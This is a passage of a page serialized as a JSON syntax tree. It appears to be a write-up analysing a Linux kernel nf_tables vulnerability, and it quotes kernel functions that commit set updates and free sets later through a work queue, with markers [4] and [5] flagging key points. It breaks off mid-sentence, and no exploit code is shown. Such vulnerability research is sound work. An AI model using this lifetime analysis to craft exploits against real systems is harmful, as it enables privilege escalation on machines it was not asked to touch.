nf_tables_set_notify",{"type":26,"tag":217,"props":107628,"children":107629},{"style":7048},[107630],{"type":32,"value":1851},{"type":26,"tag":217,"props":107632,"children":107633},{"style":7149},[107634],{"type":32,"value":9804},{"type":26,"tag":217,"props":107636,"children":107637},{"style":7054},[107638],{"type":32,"value":107639},"trans",{"type":26,"tag":217,"props":107641,"children":107642},{"style":7048},[107643],{"type":32,"value":10115},{"type":26,"tag":217,"props":107645,"children":107646},{"style":7054},[107647],{"type":32,"value":79895},{"type":26,"tag":217,"props":107649,"children":107650},{"style":7048},[107651],{"type":32,"value":7599},{"type":26,"tag":217,"props":107653,"children":107654},{"style":7064},[107655],{"type":32,"value":107605},{"type":26,"tag":217,"props":107657,"children":107658},{"style":7048},[107659],{"type":32,"value":107660},"(trans),\n",{"type":26,"tag":217,"props":107662,"children":107663},{"class":7028,"line":7439},[107664,107669,107673,107678],{"type":26,"tag":217,"props":107665,"children":107666},{"style":7054},[107667],{"type":32,"value":107668},"          trans",{"type":26,"tag":217,"props":107670,"children":107671},{"style":7048},[107672],{"type":32,"value":10115},{"type":26,"tag":217,"props":107674,"children":107675},{"style":7054},[107676],{"type":32,"value":107677},"msg_type",{"type":26,"tag":217,"props":107679,"children":107680},{"style":7048},[107681],{"type":32,"value":107682},", GFP_KERNEL);\n",{"type":26,"tag":217,"props":107684,"children":107685},{"class":7028,"line":7487},[107686,107691],{"type":26,"tag":217,"props":107687,"children":107688},{"style":7042},[107689],{"type":32,"value":107690},"   break",{"type":26,"tag":217,"props":107692,"children":107693},{"style":7048},[107694],{"type":32,"value":7162},{"type":26,"tag":217,"props":107696,"children":107697},{"class":7028,"line":7524},[107698,107703],{"type":26,"tag":217,"props":107699,"children":107700},{"style":7048},[107701],{"type":32,"value":107702},"  case NFT_MSG_NEWSETELEM:",{"type":26,"tag":217,"props":107704,"children":107705},{"style":7033},[107706],{"type":32,"value":35081},{"type":26,"tag":217,"props":107708,"children":107709},{"class":7028,"line":7553},[107710],{"type":26,"tag":217,"props":107711,"children":107712},{"style":7048},[107713],{"type":32,"value":59466},{"type":26,"tag":217,"props":107715,"children":107716},{"class":7028,"line":7570},[107717,107721,107725,107730,107734,107738,107742,107747,107751,107756],{"type":26,"tag":217,"props":107718,"children":107719},{"style":7042},[107720],{"type":32,"value":10102},{"type":26,"tag":217,"props":107722,"children":107723},{"style":7048},[107724],{"type":32,"value":7051},{"type":26,"tag":217,"props":107726,"children":107727},{"style":7054},[107728],{"type":32,"value":107729},"te",{"type":26,"tag":217,"props":107731,"children":107732},{"style":7048},[107733],{"type":32,"value":10115},{"type":26,"tag":217,"props":107735,"children":107736},{"style":7054},[107737],{"type":32,"value":106107},{"type":26,"tag":217,"props":107739,"children":107740},{"style":7048},[107741],{"type":32,"value":10115},{"type":26,"tag":217,"props":107743,"children":107744},{"style":7054},[107745],{"type":32,"value":107746},"ops",{"type":26,"tag":217,"props":107748,"children":107749},{"style":7048},[107750],{"type":32,"value":10115},{"type":26,"tag":217,"props":107752,"children":107753},{"style":7054},[107754],{"type":32,"value":107755},"commit",{"type":26,"tag":217,"props":107757,"children":107758},{"style":7149},[107759],{"type":32,"value":68054},{"type":26,"tag":217,"props":107761,"children":107762},{"class":7028,"line":7621},[107763,107768,107772,107776,107780,107784,107788,107792,107797],{"type":26,"tag":217,"props":107764,"children":107765},{"style":7064},[107766],{"type":32,"value":107767},"       list_empty",{"type":26,"tag":217,"props":107769,"children":107770},{"style":7048},[107771],{"type":32,"value":1851},{"type":26,"tag":217,"props":107773,"children":107774},{"style":7149},[107775],{"type":32,"value":9804},{"type":26,"tag":217,"props":107777,"children":107778},{"style":7054},[107779],{"type":32,"value":107729},{"type":26,"tag":217,"props":107781,"children":107782},{"style":7048},[107783],{"type":32,"value":10115},{"type":26,"tag":217,"props":107785,"children":107786},{"style":7054},[107787],{"type":32,"value":106107},{"type":26,"tag":217,"props":107789,"children":107790},{"style":7048},[107791],{"type":32,"value":10115},{"type":26,"tag":217,"props":107793,"children":107794},{"style":7054},[107795],{"type":32,"value":107796},"pending_update",{"type":26,"tag":217,"props":107798,"children":107799},{"style":7048},[107800],{"type":32,"value":33209},{"type":26,"tag":217,"props":107802,"children":107803},{"class":7028,"line":7672},[107804,107809,107813,107817,107821,107825,107829,107833,107837],{"type":26,"tag":217,"props":107805,"children":107806},{"style":7064},[107807],{"type":32,"value":107808},"    list_add_tail",{"type":26,"tag":217,"props":107810,"children":107811},{"style":7048},[107812],{"type":32,"value":1851},{"type":26,"tag":217,"props":107814,"children":107815},{"style":7149},[107816],{"type":32,"value":9804},{"type":26,"tag":217,"props":107818,"children":107819},{"style":7054},[107820],{"type":32,"value":107729},{"type":26,"tag":217,"props":107822,"children":107823},{"style":7048},[107824],{"type":32,"value":10115},{"type":26,"tag":217,"props":107826,"children":107827},{"style":7054},[107828],{"type":32,"value":106107},{"type":26,"tag":217,"props":107830,"children":107831},{"style":7048},[107832],{"type":32,"value":10115},{"type":26,"tag":217,"props":107834,"children":107835},{"style":7054},[107836],{"type":32,"value":107796},{"type":26,"tag":217,"props":107838,"children":107839},{"style":7048},[107840],{"type":32,"value":10953},{"type":26,"tag":217,"props":107842,"children":107843},{"class":7028,"line":7681},[107844,107849],{"type":26,"tag":217,"props":107845,"children":107846},{"style":7149},[107847],{"type":32,"value":107848},"           &",{"type":26,"tag":217,"props":107850,"children":107851},{"style":7048},[107852],{"type":32,"value":107853},"set_update_list);\n",{"type":26,"tag":217,"props":107855,"children":107856},{"class":7028,"line":7754},[107857],{"type":26,"tag":217,"props":107858,"children":107859},{"style":7048},[107860],{"type":32,"value":10864},{"type":26,"tag":217,"props":107862,"children":107863},{"class":7028,"line":7784},[107864],{"type":26,"tag":217,"props":107865,"children":107866},{"style":7048},[107867],{"type":32,"value":59466},{"type":26,"tag":217,"props":107869,"children":107870},{"class":7028,"line":7802},[107871],{"type":26,"tag":217,"props":107872,"children":107873},{"style":7048},[107874],{"type":32,"value":65351},{"type":26,"tag":217,"props":107876,"children":107877},{"class":7028,"line":7811},[107878],{"type":26,"tag":217,"props":107879,"children":107880},{"emptyLinePlaceholder":17},[107881],{"type":32,"value":7817},{"type":26,"tag":217,"props":107883,"children":107884},{"class":7028,"line":7820},[107885,107890,107894,107898,107903],{"type":26,"tag":217,"props":107886,"children":107887},{"style":7064},[107888],{"type":32,"value":107889}," nft_set_commit_update",{"type":26,"tag":217,"props":107891,"children":107892},{"style":7048},[107893],{"type":32,"value":1851},{"type":26,"tag":217,"props":107895,"children":107896},{"style":7149},[107897],{"type":32,"value":9804},{"type":26,"tag":217,"props":107899,"children":107900},{"style":7054},[107901],{"type":32,"value":107902},"set_update_list",{"type":26,"tag":217,"props":107904,"children":107905},{"style":7048},[107906],{"type":32,"value":7669},{"type":26,"tag":217,"props":107908,"children":107909},{"class":7028,"line":7844},[107910],{"type":26,"tag":217,"props":107911,"children":107912},{"style":7048},[107913],{"type":32,"value":59466},{"type":26,"tag":217,"props":107915,"children":107916},{"class":7028,"line":7910},[107917,107922],{"type":26,"tag":217,"props":107918,"children":107919},{"style":7064},[107920],{"type":32,"value":107921}," nf_tables_commit_release",{"type":26,"tag":217,"props":107923,"children":107924},{"style":7048},[107925],{"type":32,"value":107926},"(net);\n",{"type":26,"tag":217,"props":107928,"children":107929},{"class":7028,"line":7954},[107930],{"type":26,"tag":217,"props":107931,"children":107932},{"emptyLinePlaceholder":17},[107933],{"type":32,"value":7817},{"type":26,"tag":217,"props":107935,"children":107936},{"class":7028,"line":7985},[107937,107941,107945],{"type":26,"tag":217,"props":107938,"children":107939},{"style":7042},[107940],{"type":32,"value":82476},{"type":26,"tag":217,"props":107942,"children":107943},{"style":7130},[107944],{"type":32,"value":9922},{"type":26,"tag":217,"props":107946,"children":107947},{"style":7048},[107948],{"type":32,"value":7162},{"type":26,"tag":217,"props":107950,"children":107951},{"class":7028,"line":8027},[107952],{"type":26,"tag":217,"props":107953,"children":107954},{"style":7048},[107955],{"type":32,"value":7184},{"type":26,"tag":39,"props":107957,"children":107958},{},[107959,107960,107966,107968,107973],{"type":32,"value":475},{"type":26,"tag":83,"props":107961,"children":107963},{"className":107962},[],[107964],{"type":32,"value":107965},"nft_set_commit_update()",{"type":32,"value":107967}," function in the code above will call the ",{"type":26,"tag":83,"props":107969,"children":107971},{"className":107970},[],[107972],{"type":32,"value":107423},{"type":32,"value":107974}," method for any objects that were marked as pending an update.",{"type":26,"tag":207,"props":107976,"children":107978},{"className":9574,"code":107977,"language":2255,"meta":8,"style":8},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[107979],{"type":26,"tag":83,"props":107980,"children":107981},{"__ignoreMap":8},[107982,108022,108029,108058,108065,108078,108110,108117,108178,108189,108196,108230,108237],{"type":26,"tag":217,"props":107983,"children":107984},{"class":7028,"line":7029},[107985,107989,107993,107997,108001,108005,108010,108014,108018],{"type":26,"tag":217,"props":107986,"children":107987},{"style":7154},[107988],{"type":32,"value":9987},{"type":26,"tag":217,"props":107990,"children":107991},{"style":7154},[107992],{"type":32,"value":8936},{"type":26,"tag":217,"props":107994,"children":107995},{"style":7064},[107996],{"type":32,"value":107889},{"type":26,"tag":217,"props":107998,"children":107999},{"style":7048},[108000],{"type":32,"value":1851},{"type":26,"tag":217,"props":108002,"children":108003},{"style":7154},[108004],{"type":32,"value":12224},{"type":26,"tag":217,"props":108006,"children":108007},{"style":7048},[108008],{"type":32,"value":108009}," list_head ",{"type":26,"tag":217,"props":108011,"children":108012},{"style":7149},[108013],{"type":32,"value":10006},{"type":26,"tag":217,"props":108015,"children":108016},{"style":7054},[108017],{"type":32,"value":107902},{"type":26,"tag":217,"props":108019,"children":108020},{"style":7048},[108021],{"type":32,"value":10025},{"type":26,"tag":217,"props":108023,"children":108024},{"class":7028,"line":6770},[108025],{"type":26,"tag":217,"props":108026,"children":108027},{"style":7048},[108028],{"type":32,"value":10033},{"type":26,"tag":217,"props":108030,"children":108031},{"class":7028,"line":6779},[108032,108036,108040,108044,108049,108053],{"type":26,"tag":217,"props":108033,"children":108034},{"style":7154},[108035],{"type":32,"value":77038},{"type":26,"tag":217,"props":108037,"children":108038},{"style":7048},[108039],{"type":32,"value":106185},{"type":26,"tag":217,"props":108041,"children":108042},{"style":7149},[108043],{"type":32,"value":10006},{"type":26,"tag":217,"props":108045,"children":108046},{"style":7048},[108047],{"type":32,"value":108048},"set, ",{"type":26,"tag":217,"props":108050,"children":108051},{"style":7149},[108052],{"type":32,"value":10006},{"type":26,"tag":217,"props":108054,"children":108055},{"style":7048},[108056],{"type":32,"value":108057},"next;\n",{"type":26,"tag":217,"props":108059,"children":108060},{"class":7028,"line":7140},[108061],{"type":26,"tag":217,"props":108062,"children":108063},{"emptyLinePlaceholder":17},[108064],{"type":32,"value":7817},{"type":26,"tag":217,"props":108066,"children":108067},{"class":7028,"line":7165},[108068,108073],{"type":26,"tag":217,"props":108069,"children":108070},{"style":7064},[108071],{"type":32,"value":108072}," list_for_each_entry_safe",{"type":26,"tag":217,"props":108074,"children":108075},{"style":7048},[108076],{"type":32,"value":108077},"(set, next, set_update_list, pending_update) {\n",{"type":26,"tag":217,"props":108079,"children":108080},{"class":7028,"line":7178},[108081,108086,108090,108094,108098,108102,108106],{"type":26,"tag":217,"props":108082,"children":108083},{"style":7064},[108084],{"type":32,"value":108085},"  list_del_init",{"type":26,"tag":217,"props":108087,"children":108088},{"style":7048},[108089],{"type":32,"value":1851},{"type":26,"tag":217,"props":108091,"children":108092},{"style":7149},[108093],{"type":32,"value":9804},{"type":26,"tag":217,"props":108095,"children":108096},{"style":7054},[108097],{"type":32,"value":106107},{"type":26,"tag":217,"props":108099,"children":108100},{"style":7048},[108101],{"type":32,"value":10115},{"type":26,"tag":217,"props":108103,"children":108104},{"style":7054},[108105],{"type":32,"value":107796},{"type":26,"tag":217,"props":108107,"children":108108},{"style":7048},[108109],{"type":32,"value":7669},{"type":26,"tag":217,"props":108111,"children":108112},{"class":7028,"line":7389},[108113],{"type":26,"tag":217,"props":108114,"children":108115},{"emptyLinePlaceholder":17},[108116],{"type":32,"value":7817},{"type":26,"tag":217,"props":108118,"children":108119},{"class":7028,"line":7406},[108120,108124,108128,108132,108136,108140,108144,108148,108152,108156,108161,108165,108169,108173],{"type":26,"tag":217,"props":108121,"children":108122},{"style":7042},[108123],{"type":32,"value":37312},{"type":26,"tag":217,"props":108125,"children":108126},{"style":7048},[108127],{"type":32,"value":7051},{"type":26,"tag":217,"props":108129,"children":108130},{"style":7149},[108131],{"type":32,"value":11704},{"type":26,"tag":217,"props":108133,"children":108134},{"style":7054},[108135],{"type":32,"value":106107},{"type":26,"tag":217,"props":108137,"children":108138},{"style":7048},[108139],{"type":32,"value":10115},{"type":26,"tag":217,"props":108141,"children":108142},{"style":7054},[108143],{"type":32,"value":107746},{"type":26,"tag":217,"props":108145,"children":108146},{"style":7048},[108147],{"type":32,"value":10115},{"type":26,"tag":217,"props":108149,"children":108150},{"style":7054},[108151],{"type":32,"value":107755},{"type":26,"tag":217,"props":108153,"children":108154},{"style":7149},[108155],{"type":32,"value":12520},{"type":26,"tag":217,"props":108157,"children":108158},{"style":7054},[108159],{"type":32,"value":108160}," set",{"type":26,"tag":217,"props":108162,"children":108163},{"style":7048},[108164],{"type":32,"value":10115},{"type":26,"tag":217,"props":108166,"children":108167},{"style":7054},[108168],{"type":32,"value":107567},{"type":26,"tag":217,"props":108170,"children":108171},{"style":7048},[108172],{"type":32,"value":1889},{"type":26,"tag":217,"props":108174,"children":108175},{"style":7033},[108176],{"type":32,"value":108177}," // [4]\n",{"type":26,"tag":217,"props":108179,"children":108180},{"class":7028,"line":7439},[108181,108185],{"type":26,"tag":217,"props":108182,"children":108183},{"style":7042},[108184],{"type":32,"value":106572},{"type":26,"tag":217,"props":108186,"children":108187},{"style":7048},[108188],{"type":32,"value":7162},{"type":26,"tag":217,"props":108190,"children":108191},{"class":7028,"line":7487},[108192],{"type":26,"tag":217,"props":108193,"children":108194},{"emptyLinePlaceholder":17},[108195],{"type":32,"value":7817},{"type":26,"tag":217,"props":108197,"children":108198},{"class":7028,"line":7524},[108199,108204,108208,108212,108216,108220,108225],{"type":26,"tag":217,"props":108200,"children":108201},{"style":7054},[108202],{"type":32,"value":108203},"  set",{"type":26,"tag":217,"props":108205,"children":108206},{"style":7048},[108207],{"type":32,"value":10115},{"type":26,"tag":217,"props":108209,"children":108210},{"style":7054},[108211],{"type":32,"value":107746},{"type":26,"tag":217,"props":108213,"children":108214},{"style":7048},[108215],{"type":32,"value":10115},{"type":26,"tag":217,"props":108217,"children":108218},{"style":7064},[108219],{"type":32,"value":107755},{"type":26,"tag":217,"props":108221,"children":108222},{"style":7048},[108223],{"type":32,"value":108224},"(set);",{"type":26,"tag":217,"props":108226,"children":108227},{"style":7033},[108228],{"type":32,"value":108229}," // [5]\n",{"type":26,"tag":217,"props":108231,"children":108232},{"class":7028,"line":7553},[108233],{"type":26,"tag":217,"props":108234,"children":108235},{"style":7048},[108236],{"type":32,"value":65351},{"type":26,"tag":217,"props":108238,"children":108239},{"class":7028,"line":7570},[108240],{"type":26,"tag":217,"props":108241,"children":108242},{"style":7048},[108243],{"type":32,"value":7184},{"type":26,"tag":39,"props":108245,"children":108246},{},[108247,108249,108255,108257,108262,108263,108268],{"type":32,"value":108248},"Later on, the ",{"type":26,"tag":83,"props":108250,"children":108252},{"className":108251},[],[108253],{"type":32,"value":108254},"nf_tables_commit_release()",{"type":32,"value":108256}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":26,"tag":83,"props":108258,"children":108260},{"className":108259},[],[108261],{"type":32,"value":106107},{"type":32,"value":107417},{"type":26,"tag":83,"props":108264,"children":108266},{"className":108265},[],[108267],{"type":32,"value":107431},{"type":32,"value":108269}," method.",{"type":26,"tag":207,"props":108271,"children":108273},{"className":9574,"code":108272,"language":2255,"meta":8,"style":8},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n  nft_trans_list_del(trans);\n  nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n  nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[108274],{"type":26,"tag":83,"props":108275,"children":108276},{"__ignoreMap":8},[108277,108316,108323,108330,108351,108358,108365,108372,108413,108420,108427,108448,108461,108473,108480,108487,108494,108535,108542,108570,108577,108590,108602,108643,108650,108657,108664,108722,108729,108736,108765,108772],{"type":26,"tag":217,"props":108278,"children":108279},{"class":7028,"line":7029},[108280,108284,108288,108292,108296,108300,108304,108308,108312],{"type":26,"tag":217,"props":108281,"children":108282},{"style":7154},[108283],{"type":32,"value":9987},{"type":26,"tag":217,"props":108285,"children":108286},{"style":7154},[108287],{"type":32,"value":8936},{"type":26,"tag":217,"props":108289,"children":108290},{"style":7064},[108291],{"type":32,"value":107921},{"type":26,"tag":217,"props":108293,"children":108294},{"style":7048},[108295],{"type":32,"value":1851},{"type":26,"tag":217,"props":108297,"children":108298},{"style":7154},[108299],{"type":32,"value":12224},{"type":26,"tag":217,"props":108301,"children":108302},{"style":7048},[108303],{"type":32,"value":107081},{"type":26,"tag":217,"props":108305,"children":108306},{"style":7149},[108307],{"type":32,"value":10006},{"type":26,"tag":217,"props":108309,"children":108310},{"style":7054},[108311],{"type":32,"value":107090},{"type":26,"tag":217,"props":108313,"children":108314},{"style":7048},[108315],{"type":32,"value":10025},{"type":26,"tag":217,"props":108317,"children":108318},{"class":7028,"line":6770},[108319],{"type":26,"tag":217,"props":108320,"children":108321},{"style":7048},[108322],{"type":32,"value":10033},{"type":26,"tag":217,"props":108324,"children":108325},{"class":7028,"line":6779},[108326],{"type":26,"tag":217,"props":108327,"children":108328},{"style":7048},[108329],{"type":32,"value":59466},{"type":26,"tag":217,"props":108331,"children":108332},{"class":7028,"line":7140},[108333,108338,108342,108346],{"type":26,"tag":217,"props":108334,"children":108335},{"style":7064},[108336],{"type":32,"value":108337}," schedule_work",{"type":26,"tag":217,"props":108339,"children":108340},{"style":7048},[108341],{"type":32,"value":1851},{"type":26,"tag":217,"props":108343,"children":108344},{"style":7149},[108345],{"type":32,"value":9804},{"type":26,"tag":217,"props":108347,"children":108348},{"style":7048},[108349],{"type":32,"value":108350},"trans_destroy_work);\n",{"type":26,"tag":217,"props":108352,"children":108353},{"class":7028,"line":7165},[108354],{"type":26,"tag":217,"props":108355,"children":108356},{"style":7048},[108357],{"type":32,"value":59466},{"type":26,"tag":217,"props":108359,"children":108360},{"class":7028,"line":7178},[108361],{"type":26,"tag":217,"props":108362,"children":108363},{"style":7048},[108364],{"type":32,"value":7184},{"type":26,"tag":217,"props":108366,"children":108367},{"class":7028,"line":7389},[108368],{"type":26,"tag":217,"props":108369,"children":108370},{"style":7048},[108371],{"type":32,"value":59466},{"type":26,"tag":217,"props":108373,"children":108374},{"class":7028,"line":7406},[108375,108379,108383,108388,108392,108396,108401,108405,108409],{"type":26,"tag":217,"props":108376,"children":108377},{"style":7154},[108378],{"type":32,"value":9987},{"type":26,"tag":217,"props":108380,"children":108381},{"style":7154},[108382],{"type":32,"value":8936},{"type":26,"tag":217,"props":108384,"children":108385},{"style":7064},[108386],{"type":32,"value":108387}," nf_tables_trans_destroy_work",{"type":26,"tag":217,"props":108389,"children":108390},{"style":7048},[108391],{"type":32,"value":1851},{"type":26,"tag":217,"props":108393,"children":108394},{"style":7154},[108395],{"type":32,"value":12224},{"type":26,"tag":217,"props":108397,"children":108398},{"style":7048},[108399],{"type":32,"value":108400}," work_struct ",{"type":26,"tag":217,"props":108402,"children":108403},{"style":7149},[108404],{"type":32,"value":10006},{"type":26,"tag":217,"props":108406,"children":108407},{"style":7054},[108408],{"type":32,"value":2471},{"type":26,"tag":217,"props":108410,"children":108411},{"style":7048},[108412],{"type":32,"value":10025},{"type":26,"tag":217,"props":108414,"children":108415},{"class":7028,"line":7439},[108416],{"type":26,"tag":217,"props":108417,"children":108418},{"style":7048},[108419],{"type":32,"value":10033},{"type":26,"tag":217,"props":108421,"children":108422},{"class":7028,"line":7487},[108423],{"type":26,"tag":217,"props":108424,"children":108425},{"style":7048},[108426],{"type":32,"value":59466},{"type":26,"tag":217,"props":108428,"children":108429},{"class":7028,"line":7524},[108430,108434,108439,108443],{"type":26,"tag":217,"props":108431,"children":108432},{"style":7064},[108433],{"type":32,"value":108072},{"type":26,"tag":217,"props":108435,"children":108436},{"style":7048},[108437],{"type":32,"value":108438},"(trans, next, ",{"type":26,"tag":217,"props":108440,"children":108441},{"style":7149},[108442],{"type":32,"value":9804},{"type":26,"tag":217,"props":108444,"children":108445},{"style":7048},[108446],{"type":32,"value":108447},"head, list) {\n",{"type":26,"tag":217,"props":108449,"children":108450},{"class":7028,"line":7553},[108451,108456],{"type":26,"tag":217,"props":108452,"children":108453},{"style":7064},[108454],{"type":32,"value":108455},"  nft_trans_list_del",{"type":26,"tag":217,"props":108457,"children":108458},{"style":7048},[108459],{"type":32,"value":108460},"(trans);\n",{"type":26,"tag":217,"props":108462,"children":108463},{"class":7028,"line":7570},[108464,108469],{"type":26,"tag":217,"props":108465,"children":108466},{"style":7064},[108467],{"type":32,"value":108468},"  nft_commit_release",{"type":26,"tag":217,"props":108470,"children":108471},{"style":7048},[108472],{"type":32,"value":108460},{"type":26,"tag":217,"props":108474,"children":108475},{"class":7028,"line":7621},[108476],{"type":26,"tag":217,"props":108477,"children":108478},{"style":7048},[108479],{"type":32,"value":65351},{"type":26,"tag":217,"props":108481,"children":108482},{"class":7028,"line":7672},[108483],{"type":26,"tag":217,"props":108484,"children":108485},{"style":7048},[108486],{"type":32,"value":7184},{"type":26,"tag":217,"props":108488,"children":108489},{"class":7028,"line":7681},[108490],{"type":26,"tag":217,"props":108491,"children":108492},{"style":7048},[108493],{"type":32,"value":59466},{"type":26,"tag":217,"props":108495,"children":108496},{"class":7028,"line":7754},[108497,108501,108505,108510,108514,108518,108523,108527,108531],{"type":26,"tag":217,"props":108498,"children":108499},{"style":7154},[108500],{"type":32,"value":9987},{"type":26,"tag":217,"props":108502,"children":108503},{"style":7154},[108504],{"type":32,"value":8936},{"type":26,"tag":217,"props":108506,"children":108507},{"style":7064},[108508],{"type":32,"value":108509}," nft_commit_release",{"type":26,"tag":217,"props":108511,"children":108512},{"style":7048},[108513],{"type":32,"value":1851},{"type":26,"tag":217,"props":108515,"children":108516},{"style":7154},[108517],{"type":32,"value":12224},{"type":26,"tag":217,"props":108519,"children":108520},{"style":7048},[108521],{"type":32,"value":108522}," nft_trans ",{"type":26,"tag":217,"props":108524,"children":108525},{"style":7149},[108526],{"type":32,"value":10006},{"type":26,"tag":217,"props":108528,"children":108529},{"style":7054},[108530],{"type":32,"value":107639},{"type":26,"tag":217,"props":108532,"children":108533},{"style":7048},[108534],{"type":32,"value":10025},{"type":26,"tag":217,"props":108536,"children":108537},{"class":7028,"line":7784},[108538],{"type":26,"tag":217,"props":108539,"children":108540},{"style":7048},[108541],{"type":32,"value":10033},{"type":26,"tag":217,"props":108543,"children":108544},{"class":7028,"line":7802},[108545,108550,108554,108558,108562,108566],{"type":26,"tag":217,"props":108546,"children":108547},{"style":7042},[108548],{"type":32,"value":108549}," switch",{"type":26,"tag":217,"props":108551,"children":108552},{"style":7048},[108553],{"type":32,"value":7051},{"type":26,"tag":217,"props":108555,"children":108556},{"style":7054},[108557],{"type":32,"value":107639},{"type":26,"tag":217,"props":108559,"children":108560},{"style":7048},[108561],{"type":32,"value":10115},{"type":26,"tag":217,"props":108563,"children":108564},{"style":7054},[108565],{"type":32,"value":107677},{"type":26,"tag":217,"props":108567,"children":108568},{"style":7048},[108569],{"type":32,"value":7618},{"type":26,"tag":217,"props":108571,"children":108572},{"class":7028,"line":7811},[108573],{"type":26,"tag":217,"props":108574,"children":108575},{"style":7048},[108576],{"type":32,"value":59466},{"type":26,"tag":217,"props":108578,"children":108579},{"class":7028,"line":7820},[108580,108585],{"type":26,"tag":217,"props":108581,"children":108582},{"style":7042},[108583],{"type":32,"value":108584}," case",{"type":26,"tag":217,"props":108586,"children":108587},{"style":7048},[108588],{"type":32,"value":108589}," NFT_MSG_DELSET:\n",{"type":26,"tag":217,"props":108591,"children":108592},{"class":7028,"line":7844},[108593,108597],{"type":26,"tag":217,"props":108594,"children":108595},{"style":7042},[108596],{"type":32,"value":108584},{"type":26,"tag":217,"props":108598,"children":108599},{"style":7048},[108600],{"type":32,"value":108601}," NFT_MSG_DESTROYSET:\n",{"type":26,"tag":217,"props":108603,"children":108604},{"class":7028,"line":7910},[108605,108610,108614,108618,108622,108626,108630,108634,108638],{"type":26,"tag":217,"props":108606,"children":108607},{"style":7064},[108608],{"type":32,"value":108609},"  nft_set_destroy",{"type":26,"tag":217,"props":108611,"children":108612},{"style":7048},[108613],{"type":32,"value":1851},{"type":26,"tag":217,"props":108615,"children":108616},{"style":7149},[108617],{"type":32,"value":9804},{"type":26,"tag":217,"props":108619,"children":108620},{"style":7048},[108621],{"type":32,"value":107639},{"type":26,"tag":217,"props":108623,"children":108624},{"style":7149},[108625],{"type":32,"value":10115},{"type":26,"tag":217,"props":108627,"children":108628},{"style":7054},[108629],{"type":32,"value":79895},{"type":26,"tag":217,"props":108631,"children":108632},{"style":7048},[108633],{"type":32,"value":7599},{"type":26,"tag":217,"props":108635,"children":108636},{"style":7064},[108637],{"type":32,"value":107605},{"type":26,"tag":217,"props":108639,"children":108640},{"style":7048},[108641],{"type":32,"value":108642},"(trans));\n",{"type":26,"tag":217,"props":108644,"children":108645},{"class":7028,"line":7954},[108646],{"type":26,"tag":217,"props":108647,"children":108648},{"style":7048},[108649],{"type":32,"value":59466},{"type":26,"tag":217,"props":108651,"children":108652},{"class":7028,"line":7985},[108653],{"type":26,"tag":217,"props":108654,"children":108655},{"style":7048},[108656],{"type":32,"value":7184},{"type":26,"tag":217,"props":108658,"children":108659},{"class":7028,"line":8027},[108660],{"type":26,"tag":217,"props":108661,"children":108662},{"style":7048},[108663],{"type":32,"value":59466},{"type":26,"tag":217,"props":108665,"children":108666},{"class":7028,"line":8035},[108667,108671,108675,108680,108684,108688,108692,108696,108700,108705,108709,108713,108717],{"type":26,"tag":217,"props":108668,"children":108669},{"style":7154},[108670],{"type":32,"value":9987},{"type":26,"tag":217,"props":108672,"children":108673},{"style":7154},[108674],{"type":32,"value":8936},{"type":26,"tag":217,"props":108676,"children":108677},{"style":7064},[108678],{"type":32,"value":108679}," nft_set_destroy",{"type":26,"tag":217,"props":108681,"children":108682},{"style":7048},[108683],{"type":32,"value":1851},{"type":26,"tag":217,"props":108685,"children":108686},{"style":7154},[108687],{"type":32,"value":74748},{"type":26,"tag":217,"props":108689,"children":108690},{"style":7154},[108691],{"type":32,"value":77038},{"type":26,"tag":217,"props":108693,"children":108694},{"style":7048},[108695],{"type":32,"value":106157},{"type":26,"tag":217,"props":108697,"children":108698},{"style":7149},[108699],{"type":32,"value":10006},{"type":26,"tag":217,"props":108701,"children":108702},{"style":7048},[108703],{"type":32,"value":108704},"ctx, ",{"type":26,"tag":217,"props":108706,"children":108707},{"style":7154},[108708],{"type":32,"value":12224},{"type":26,"tag":217,"props":108710,"children":108711},{"style":7048},[108712],{"type":32,"value":106185},{"type":26,"tag":217,"props":108714,"children":108715},{"style":7149},[108716],{"type":32,"value":10006},{"type":26,"tag":217,"props":108718,"children":108719},{"style":7048},[108720],{"type":32,"value":108721},"set)\n",{"type":26,"tag":217,"props":108723,"children":108724},{"class":7028,"line":8067},[108725],{"type":26,"tag":217,"props":108726,"children":108727},{"style":7048},[108728],{"type":32,"value":10033},{"type":26,"tag":217,"props":108730,"children":108731},{"class":7028,"line":8107},[108732],{"type":26,"tag":217,"props":108733,"children":108734},{"style":7048},[108735],{"type":32,"value":59466},{"type":26,"tag":217,"props":108737,"children":108738},{"class":7028,"line":8145},[108739,108743,108747,108751,108755,108760],{"type":26,"tag":217,"props":108740,"children":108741},{"style":7054},[108742],{"type":32,"value":108160},{"type":26,"tag":217,"props":108744,"children":108745},{"style":7048},[108746],{"type":32,"value":10115},{"type":26,"tag":217,"props":108748,"children":108749},{"style":7054},[108750],{"type":32,"value":107746},{"type":26,"tag":217,"props":108752,"children":108753},{"style":7048},[108754],{"type":32,"value":10115},{"type":26,"tag":217,"props":108756,"children":108757},{"style":7064},[108758],{"type":32,"value":108759},"destroy",{"type":26,"tag":217,"props":108761,"children":108762},{"style":7048},[108763],{"type":32,"value":108764},"(ctx, set);\n",{"type":26,"tag":217,"props":108766,"children":108767},{"class":7028,"line":8154},[108768],{"type":26,"tag":217,"props":108769,"children":108770},{"style":7048},[108771],{"type":32,"value":59466},{"type":26,"tag":217,"props":108773,"children":108774},{"class":7028,"line":8162},[108775],{"type":26,"tag":217,"props":108776,"children":108777},{"style":7048},[108778],{"type":32,"value":7184},{"type":26,"tag":39,"props":108780,"children":108781},{},[108782,108784,108789,108791,108796,108798,108804,108806,108811,108813,108818,108820,108824,108826,108831,108832,108836,108838,108844],{"type":32,"value":108783},"It may appear as if it would be impossible to make 